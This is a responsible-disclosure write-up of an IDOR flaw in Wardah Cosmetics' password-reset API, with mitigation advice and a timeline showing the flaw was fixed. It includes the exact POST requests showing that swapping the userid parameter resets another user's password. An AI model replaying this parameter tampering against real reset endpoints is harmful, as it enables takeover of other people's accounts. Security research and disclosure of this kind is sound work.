Broken Access Control (IDOR) on Forgot Password Could Lead to Attacker Change Password for Every…

Proof of Concept (PoC)

Hello everyone,

In this post, I will show you how I discovered a vulnerability that allows a malicious user could change the password for other users which could lead to an account takeover. On another note, I also found that the forgot password token is not invalidated after use.

Who is the target?

Wardah Cosmetics or Wardah is a brand of beauty products produced by one of the largest cosmetic manufacturing companies in Indonesia led by Nurhayati Subakat, PT Paragon Technology and Innovation. Wardah was introduced in 1995.

At the time I reported the issue, Wardah not currently opening a bug bounty, but there can be exceptions if the vulnerability is triaged and validated as high to critical. It seems that the Bug Bounty Program (BBP) is not a public program & only opens at a certain time.

I had a positive impression of Wardah security team swift response to my bug report submissions. They consistently demonstrates excellent communication. Their prompt responses, clear explanations, and proactive updates contribute significantly to our collaborative efforts in maintaining a secure environment.

Steps To Reproduce

For the tools, we can use Chrome & Postman.

[1] Create 2 users attacker and victim, let’s say the userid for attacker is 111111 & for victim is 222222.

[2] As attacker, go to the Login page & click on the FORGOT PASSWORD link.

[3] As attacker, fill in the E-mail & check the reCAPTCHA then click the SEND RESET LINK button.

[4] As attacker, we will receive an email for Password Recovery, click on the Recover Your Password button. The link will look like this https://www.wardahbeauty.com/id/auth/recovery/b5ef0ca049e9b44c98d9d989240d2836b2XXX. We assume that b5ef0ca049e9b44c98d9d989240d2836b2XXXXXX is our forgot password token.

5. As attacker, fill in the new password & click the Submit button, we’ve successfully reset our password.

6. As attacker, we’ll look at the API request from the Network tab in Chrome, it will look like this:

Request:

POST https://www.wardahbeauty.com/auth/recovery_process

Body:
id: "99999"
userid: "111111"
password: "NEWPASSWORD"
passwordconfirm: "NEWPASSWORD"

We can see that alongside the password, we also send the id & userid. Our assumptions are:

id is the forgot password id (99999), which is mapped from the forgot password token b5ef0ca049e9b44c98d9d989240d2836b2XXXXXXuserid is the target user ID that we want to reset.

Response:

{
"code": 200,
"msg": "Your password has been reset, please login to continue",
"directurl": "https://www.wardahbeauty.com/id"
}

[7] Now as attacker, let’s try to change the userid param with victim userid, in this case 222222.

Request:

POST https://www.wardahbeauty.com/auth/recovery_process

Body:
id: "99999"
userid: "222222"
password: "NEWPASSWORD"
passwordconfirm: "NEWPASSWORD"

Response:

{
"code": 200,
"msg": "Your password has been reset, please login to continue",
"directurl": "https://www.wardahbeauty.com/id"
}

Surprisingly, we are able to change the password for the victim.

[8] To confirm that we successfully changed the password of the victim, we can go to the Login page & log in with the victim account using the new password.

Mitigation

Perform proper authorization/ access control on the affected endpoints, by pairing/ matching the forgot password id or token to the original userid.On another note, I also found that we are able to perform the forgot password multiple times using the same id or token, this can be dangerous if an attacker somehow gains the victim's email account access and finds the forgot password token in emails. Forgot password token should expire immediately after use, automatically expire after the issuance of new ones, and use a certain living span (e.g. 6 hours).

Impact

An attacker could change the password for every user & perform an account takeover.An attacker could take over the victim's account if he somehow gains the victim's email account access and finds a forgot password token in emails.

Timeline

[14/01/2024] Contact the security team via LinkedIn[30/01/2024] The security team responded & asked to send the report via email[01/02/2024] Send the report via Email[05/02/2024] Asking for public disclosure[12/02/2024] Issue triage & considered as critical. Public disclosure is allowed after the bug is patched.[12/02/2024] Receive a certificate of appreciation[13/03/2024] Bounty received US$65[19/03/2024] Re-test done & confirmed that the issue has been resolved.

Reference

[MITRE] CWE-639: Insecure Direct Object Reference (IDOR)[PortSwigger] Insecure direct object references (IDOR)